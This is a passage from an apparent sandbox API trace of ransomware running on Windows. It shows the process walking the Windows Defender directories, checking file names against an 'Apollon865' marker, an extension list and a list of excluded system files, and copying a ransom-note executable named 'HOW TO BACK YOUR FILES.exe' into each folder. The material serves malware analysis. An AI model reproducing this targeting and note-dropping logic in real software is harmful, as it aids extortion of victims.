	[0062.355] lstrcmpiW (lpString1="on.dll.mui", lpString2="Apollon865") returned 1
	[0062.355] lstrlenW (lpString=".dll") returned 4
	[0062.355] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2=".dll") returned 1
	[0062.355] lstrlenW (lpString=".lnk") returned 4
	[0062.355] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2=".lnk") returned 1
	[0062.355] lstrlenW (lpString=".ini") returned 4
	[0062.355] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2=".ini") returned 1
	[0062.355] lstrlenW (lpString=".sys") returned 4
	[0062.356] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2=".sys") returned 1
	[0062.356] lstrlenW (lpString="jnwmon.dll.mui") returned 14
	[0062.356] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="Journal.exe.mui" | out: lpString1="Journal.exe.mui") returned="Journal.exe.mui"
	[0062.356] lstrlenW (lpString="Journal.exe.mui") returned 15
	[0062.356] lstrlenW (lpString="Apollon865") returned 10
	[0062.356] lstrcmpiW (lpString1="al.exe.mui", lpString2="Apollon865") returned -1
	[0062.356] lstrlenW (lpString=".dll") returned 4
	[0062.356] lstrcmpiW (lpString1="Journal.exe.mui", lpString2=".dll") returned 1
	[0062.356] lstrlenW (lpString=".lnk") returned 4
	[0062.356] lstrcmpiW (lpString1="Journal.exe.mui", lpString2=".lnk") returned 1
	[0062.356] lstrlenW (lpString=".ini") returned 4
	[0062.356] lstrcmpiW (lpString1="Journal.exe.mui", lpString2=".ini") returned 1
	[0062.356] lstrlenW (lpString=".sys") returned 4
	[0062.356] lstrcmpiW (lpString1="Journal.exe.mui", lpString2=".sys") returned 1
	[0062.356] lstrlenW (lpString="Journal.exe.mui") returned 15
	[0062.356] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="MSPVWCTL.DLL.mui" | out: lpString1="MSPVWCTL.DLL.mui") returned="MSPVWCTL.DLL.mui"
	[0062.356] lstrlenW (lpString="MSPVWCTL.DLL.mui") returned 16
	[0062.356] lstrlenW (lpString="Apollon865") returned 10
	[0062.356] lstrcmpiW (lpString1="TL.DLL.mui", lpString2="Apollon865") returned 1
	[0062.356] lstrlenW (lpString=".dll") returned 4
	[0062.356] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2=".dll") returned 1
	[0062.356] lstrlenW (lpString=".lnk") returned 4
	[0062.356] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2=".lnk") returned 1
	[0062.356] lstrlenW (lpString=".ini") returned 4
	[0062.356] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2=".ini") returned 1
	[0062.356] lstrlenW (lpString=".sys") returned 4
	[0062.356] lstrcmpiW (lpString1="MSPVWCTL.DLL.mui", lpString2=".sys") returned 1
	[0062.356] lstrlenW (lpString="MSPVWCTL.DLL.mui") returned 16
	[0062.357] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="NBMapTIP.dll.mui" | out: lpString1="NBMapTIP.dll.mui") returned="NBMapTIP.dll.mui"
	[0062.357] lstrlenW (lpString="NBMapTIP.dll.mui") returned 16
	[0062.357] lstrlenW (lpString="Apollon865") returned 10
	[0062.357] lstrcmpiW (lpString1="IP.dll.mui", lpString2="Apollon865") returned 1
	[0062.357] lstrlenW (lpString=".dll") returned 4
	[0062.357] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2=".dll") returned 1
	[0062.357] lstrlenW (lpString=".lnk") returned 4
	[0062.357] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2=".lnk") returned 1
	[0062.357] lstrlenW (lpString=".ini") returned 4
	[0062.357] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2=".ini") returned 1
	[0062.357] lstrlenW (lpString=".sys") returned 4
	[0062.357] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2=".sys") returned 1
	[0062.357] lstrlenW (lpString="NBMapTIP.dll.mui") returned 16
	[0062.357] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="PDIALOG.exe.mui" | out: lpString1="PDIALOG.exe.mui") returned="PDIALOG.exe.mui"
	[0062.357] lstrlenW (lpString="PDIALOG.exe.mui") returned 15
	[0062.357] lstrlenW (lpString="Apollon865") returned 10
	[0062.357] lstrcmpiW (lpString1="OG.exe.mui", lpString2="Apollon865") returned 1
	[0062.357] lstrlenW (lpString=".dll") returned 4
	[0062.357] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2=".dll") returned 1
	[0062.357] lstrlenW (lpString=".lnk") returned 4
	[0062.357] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2=".lnk") returned 1
	[0062.357] lstrlenW (lpString=".ini") returned 4
	[0062.357] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2=".ini") returned 1
	[0062.357] lstrlenW (lpString=".sys") returned 4
	[0062.357] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2=".sys") returned 1
	[0062.357] lstrlenW (lpString="PDIALOG.exe.mui") returned 15
	[0062.357] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Defender", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Defender") returned="C:\\Program Files\\Windows Defender"
	[0062.357] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdf78 | out: hHeap=0x580000) returned 1
	[0062.357] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0062.358] lstrlenW (lpString="C:\\Program Files\\Windows Defender") returned 33
	[0062.358] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Defender" | out: lpString1="C:\\Program Files\\Windows Defender") returned="C:\\Program Files\\Windows Defender"
	[0062.358] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.358] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Defender\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows defender\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.362] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.362] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d3e4bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d3e4bd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.362] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.362] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.362] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.362] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d3e4bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d3e4bd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.362] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.362] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.362] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.362] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.362] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0062.362] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.362] lstrcmpiW (lpString1="en-US", lpString2="Apollon865.txt.exe") returned 1
	[0062.362] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0062.362] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0062.362] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1
	[0062.362] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1
	[0062.362] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0062.362] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1
	[0062.362] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1
	[0062.362] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1
	[0062.362] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1
	[0062.362] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1
	[0062.362] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1
	[0062.362] lstrlenW (lpString="en-US") returned 5
	[0062.363] lstrlenW (lpString="C:\\Program Files\\Windows Defender\\*") returned 35
	[0062.363] lstrcpyW (in: lpString1=0x2d3e594, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0062.363] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0062.363] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bca68
	[0062.363] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0062.363] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d3e4bd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d3e4bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.363] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.363] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150a97a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x150a97a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33b368d0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1
	[0062.363] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.363] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="Apollon865.txt.exe") returned 1
	[0062.363] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2=".") returned 1
	[0062.363] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="..") returned 1
	[0062.363] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="windows") returned -1
	[0062.363] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="bootmgr") returned 1
	[0062.363] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="temp") returned -1
	[0062.363] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="pagefile.sys") returned -1
	[0062.363] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="boot") returned 1
	[0062.363] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="ids.txt") returned 1
	[0062.363] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="ntuser.dat") returned -1
	[0062.363] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="perflogs") returned -1
	[0062.363] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="MSBuild") returned -1
	[0062.363] lstrlenW (lpString="MpAsDesc.dll") returned 12
	[0062.363] lstrlenW (lpString="C:\\Program Files\\Windows Defender\\en-US") returned 39
	[0062.363] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MpAsDesc.dll" | out: lpString1="MpAsDesc.dll") returned="MpAsDesc.dll"
	[0062.363] lstrlenW (lpString="MpAsDesc.dll") returned 12
	[0062.363] lstrlenW (lpString="Apollon865") returned 10
	[0062.363] lstrcmpiW (lpString1="AsDesc.dll", lpString2="Apollon865") returned 1
	[0062.363] lstrlenW (lpString=".dll") returned 4
	[0062.363] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2=".dll") returned 1
	[0062.363] lstrlenW (lpString=".lnk") returned 4
	[0062.363] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2=".lnk") returned 1
	[0062.363] lstrlenW (lpString=".ini") returned 4
	[0062.364] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2=".ini") returned 1
	[0062.364] lstrlenW (lpString=".sys") returned 4
	[0062.364] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2=".sys") returned 1
	[0062.364] lstrlenW (lpString="MpAsDesc.dll") returned 12
	[0062.364] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MpClient.dll" | out: lpString1="MpClient.dll") returned="MpClient.dll"
	[0062.364] lstrlenW (lpString="MpClient.dll") returned 12
	[0062.364] lstrlenW (lpString="Apollon865") returned 10
	[0062.364] lstrcmpiW (lpString1="Client.dll", lpString2="Apollon865") returned 1
	[0062.364] lstrlenW (lpString=".dll") returned 4
	[0062.364] lstrcmpiW (lpString1="MpClient.dll", lpString2=".dll") returned 1
	[0062.364] lstrlenW (lpString=".lnk") returned 4
	[0062.364] lstrcmpiW (lpString1="MpClient.dll", lpString2=".lnk") returned 1
	[0062.364] lstrlenW (lpString=".ini") returned 4
	[0062.364] lstrcmpiW (lpString1="MpClient.dll", lpString2=".ini") returned 1
	[0062.364] lstrlenW (lpString=".sys") returned 4
	[0062.364] lstrcmpiW (lpString1="MpClient.dll", lpString2=".sys") returned 1
	[0062.364] lstrlenW (lpString="MpClient.dll") returned 12
	[0062.364] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MpCmdRun.exe" | out: lpString1="MpCmdRun.exe") returned="MpCmdRun.exe"
	[0062.364] lstrlenW (lpString="MpCmdRun.exe") returned 12
	[0062.364] lstrlenW (lpString="Apollon865") returned 10
	[0062.364] lstrcmpiW (lpString1="CmdRun.exe", lpString2="Apollon865") returned 1
	[0062.364] lstrlenW (lpString=".dll") returned 4
	[0062.364] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2=".dll") returned 1
	[0062.364] lstrlenW (lpString=".lnk") returned 4
	[0062.364] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2=".lnk") returned 1
	[0062.364] lstrlenW (lpString=".ini") returned 4
	[0062.364] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2=".ini") returned 1
	[0062.365] lstrlenW (lpString=".sys") returned 4
	[0062.365] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2=".sys") returned 1
	[0062.365] lstrlenW (lpString="MpCmdRun.exe") returned 12
	[0062.365] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MpCommu.dll" | out: lpString1="MpCommu.dll") returned="MpCommu.dll"
	[0062.365] lstrlenW (lpString="MpCommu.dll") returned 11
	[0062.365] lstrlenW (lpString="Apollon865") returned 10
	[0062.365] lstrcmpiW (lpString1="pCommu.dll", lpString2="Apollon865") returned 1
	[0062.365] lstrlenW (lpString=".dll") returned 4
	[0062.365] lstrcmpiW (lpString1="MpCommu.dll", lpString2=".dll") returned 1
	[0062.365] lstrlenW (lpString=".lnk") returned 4
	[0062.365] lstrcmpiW (lpString1="MpCommu.dll", lpString2=".lnk") returned 1
	[0062.365] lstrlenW (lpString=".ini") returned 4
	[0062.365] lstrcmpiW (lpString1="MpCommu.dll", lpString2=".ini") returned 1
	[0062.365] lstrlenW (lpString=".sys") returned 4
	[0062.365] lstrcmpiW (lpString1="MpCommu.dll", lpString2=".sys") returned 1
	[0062.365] lstrlenW (lpString="MpCommu.dll") returned 11
	[0062.365] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MpEvMsg.dll" | out: lpString1="MpEvMsg.dll") returned="MpEvMsg.dll"
	[0062.365] lstrlenW (lpString="MpEvMsg.dll") returned 11
	[0062.365] lstrlenW (lpString="Apollon865") returned 10
	[0062.365] lstrcmpiW (lpString1="pEvMsg.dll", lpString2="Apollon865") returned 1
	[0062.365] lstrlenW (lpString=".dll") returned 4
	[0062.365] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2=".dll") returned 1
	[0062.365] lstrlenW (lpString=".lnk") returned 4
	[0062.365] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2=".lnk") returned 1
	[0062.365] lstrlenW (lpString=".ini") returned 4
	[0062.365] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2=".ini") returned 1
	[0062.365] lstrlenW (lpString=".sys") returned 4
	[0062.365] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2=".sys") returned 1
	[0062.365] lstrlenW (lpString="MpEvMsg.dll") returned 11
	[0062.366] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MpOAV.dll" | out: lpString1="MpOAV.dll") returned="MpOAV.dll"
	[0062.366] lstrlenW (lpString="MpOAV.dll") returned 9
	[0062.366] lstrlenW (lpString="Apollon865") returned 10
	[0062.366] lstrlenW (lpString=".dll") returned 4
	[0062.366] lstrcmpiW (lpString1="MpOAV.dll", lpString2=".dll") returned 1
	[0062.366] lstrlenW (lpString=".lnk") returned 4
	[0062.366] lstrcmpiW (lpString1="MpOAV.dll", lpString2=".lnk") returned 1
	[0062.366] lstrlenW (lpString=".ini") returned 4
	[0062.366] lstrcmpiW (lpString1="MpOAV.dll", lpString2=".ini") returned 1
	[0062.366] lstrlenW (lpString=".sys") returned 4
	[0062.366] lstrcmpiW (lpString1="MpOAV.dll", lpString2=".sys") returned 1
	[0062.366] lstrlenW (lpString="MpOAV.dll") returned 9
	[0062.366] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MpRTP.dll" | out: lpString1="MpRTP.dll") returned="MpRTP.dll"
	[0062.366] lstrlenW (lpString="MpRTP.dll") returned 9
	[0062.366] lstrlenW (lpString="Apollon865") returned 10
	[0062.366] lstrlenW (lpString=".dll") returned 4
	[0062.366] lstrcmpiW (lpString1="MpRTP.dll", lpString2=".dll") returned 1
	[0062.366] lstrlenW (lpString=".lnk") returned 4
	[0062.366] lstrcmpiW (lpString1="MpRTP.dll", lpString2=".lnk") returned 1
	[0062.366] lstrlenW (lpString=".ini") returned 4
	[0062.366] lstrcmpiW (lpString1="MpRTP.dll", lpString2=".ini") returned 1
	[0062.366] lstrlenW (lpString=".sys") returned 4
	[0062.366] lstrcmpiW (lpString1="MpRTP.dll", lpString2=".sys") returned 1
	[0062.366] lstrlenW (lpString="MpRTP.dll") returned 9
	[0062.366] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MpSvc.dll" | out: lpString1="MpSvc.dll") returned="MpSvc.dll"
	[0062.366] lstrlenW (lpString="MpSvc.dll") returned 9
	[0062.366] lstrlenW (lpString="Apollon865") returned 10
	[0062.366] lstrlenW (lpString=".dll") returned 4
	[0062.366] lstrcmpiW (lpString1="MpSvc.dll", lpString2=".dll") returned 1
	[0062.367] lstrlenW (lpString=".lnk") returned 4
	[0062.367] lstrcmpiW (lpString1="MpSvc.dll", lpString2=".lnk") returned 1
	[0062.367] lstrlenW (lpString=".ini") returned 4
	[0062.367] lstrcmpiW (lpString1="MpSvc.dll", lpString2=".ini") returned 1
	[0062.367] lstrlenW (lpString=".sys") returned 4
	[0062.367] lstrcmpiW (lpString1="MpSvc.dll", lpString2=".sys") returned 1
	[0062.367] lstrlenW (lpString="MpSvc.dll") returned 9
	[0062.367] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MSASCui.exe" | out: lpString1="MSASCui.exe") returned="MSASCui.exe"
	[0062.367] lstrlenW (lpString="MSASCui.exe") returned 11
	[0062.367] lstrlenW (lpString="Apollon865") returned 10
	[0062.367] lstrcmpiW (lpString1="SASCui.exe", lpString2="Apollon865") returned 1
	[0062.367] lstrlenW (lpString=".dll") returned 4
	[0062.367] lstrcmpiW (lpString1="MSASCui.exe", lpString2=".dll") returned 1
	[0062.367] lstrlenW (lpString=".lnk") returned 4
	[0062.367] lstrcmpiW (lpString1="MSASCui.exe", lpString2=".lnk") returned 1
	[0062.367] lstrlenW (lpString=".ini") returned 4
	[0062.367] lstrcmpiW (lpString1="MSASCui.exe", lpString2=".ini") returned 1
	[0062.367] lstrlenW (lpString=".sys") returned 4
	[0062.367] lstrcmpiW (lpString1="MSASCui.exe", lpString2=".sys") returned 1
	[0062.367] lstrlenW (lpString="MSASCui.exe") returned 11
	[0062.367] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MsMpCom.dll" | out: lpString1="MsMpCom.dll") returned="MsMpCom.dll"
	[0062.367] lstrlenW (lpString="MsMpCom.dll") returned 11
	[0062.367] lstrlenW (lpString="Apollon865") returned 10
	[0062.367] lstrcmpiW (lpString1="sMpCom.dll", lpString2="Apollon865") returned 1
	[0062.367] lstrlenW (lpString=".dll") returned 4
	[0062.367] lstrcmpiW (lpString1="MsMpCom.dll", lpString2=".dll") returned 1
	[0062.367] lstrlenW (lpString=".lnk") returned 4
	[0062.367] lstrcmpiW (lpString1="MsMpCom.dll", lpString2=".lnk") returned 1
	[0062.367] lstrlenW (lpString=".ini") returned 4
	[0062.368] lstrcmpiW (lpString1="MsMpCom.dll", lpString2=".ini") returned 1
	[0062.368] lstrlenW (lpString=".sys") returned 4
	[0062.368] lstrcmpiW (lpString1="MsMpCom.dll", lpString2=".sys") returned 1
	[0062.368] lstrlenW (lpString="MsMpCom.dll") returned 11
	[0062.368] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MsMpLics.dll" | out: lpString1="MsMpLics.dll") returned="MsMpLics.dll"
	[0062.368] lstrlenW (lpString="MsMpLics.dll") returned 12
	[0062.368] lstrlenW (lpString="Apollon865") returned 10
	[0062.368] lstrcmpiW (lpString1="MpLics.dll", lpString2="Apollon865") returned 1
	[0062.368] lstrlenW (lpString=".dll") returned 4
	[0062.368] lstrcmpiW (lpString1="MsMpLics.dll", lpString2=".dll") returned 1
	[0062.368] lstrlenW (lpString=".lnk") returned 4
	[0062.368] lstrcmpiW (lpString1="MsMpLics.dll", lpString2=".lnk") returned 1
	[0062.368] lstrlenW (lpString=".ini") returned 4
	[0062.368] lstrcmpiW (lpString1="MsMpLics.dll", lpString2=".ini") returned 1
	[0062.368] lstrlenW (lpString=".sys") returned 4
	[0062.368] lstrcmpiW (lpString1="MsMpLics.dll", lpString2=".sys") returned 1
	[0062.368] lstrlenW (lpString="MsMpLics.dll") returned 12
	[0062.368] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MsMpRes.dll" | out: lpString1="MsMpRes.dll") returned="MsMpRes.dll"
	[0062.368] lstrlenW (lpString="MsMpRes.dll") returned 11
	[0062.368] lstrlenW (lpString="Apollon865") returned 10
	[0062.368] lstrcmpiW (lpString1="sMpRes.dll", lpString2="Apollon865") returned 1
	[0062.368] lstrlenW (lpString=".dll") returned 4
	[0062.368] lstrcmpiW (lpString1="MsMpRes.dll", lpString2=".dll") returned 1
	[0062.368] lstrcpyW (in: lpString1=0x2d3e594, lpString2="thanks.exe" | out: lpString1="thanks.exe") returned="thanks.exe"
	[0062.368] lstrlenW (lpString="thanks.exe") returned 10
	[0062.368] lstrlenW (lpString="Apollon865") returned 10
	[0062.369] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Defender\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Defender\\en-US") returned="C:\\Program Files\\Windows Defender\\en-US"
	[0062.369] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bca68 | out: hHeap=0x580000) returned 1
	[0062.369] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0062.369] lstrlenW (lpString="C:\\Program Files\\Windows Defender\\en-US") returned 39
	[0062.369] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Defender\\en-US" | out: lpString1="C:\\Program Files\\Windows Defender\\en-US") returned="C:\\Program Files\\Windows Defender\\en-US"
	[0062.369] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.369] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Defender\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows defender\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.373] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.374] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3d3e4bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d3e4bd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.374] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.374] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.374] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.374] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3d3e4bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d3e4bd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.374] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.374] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.374] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.374] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.374] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d3e4bd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d3e4bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.374] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
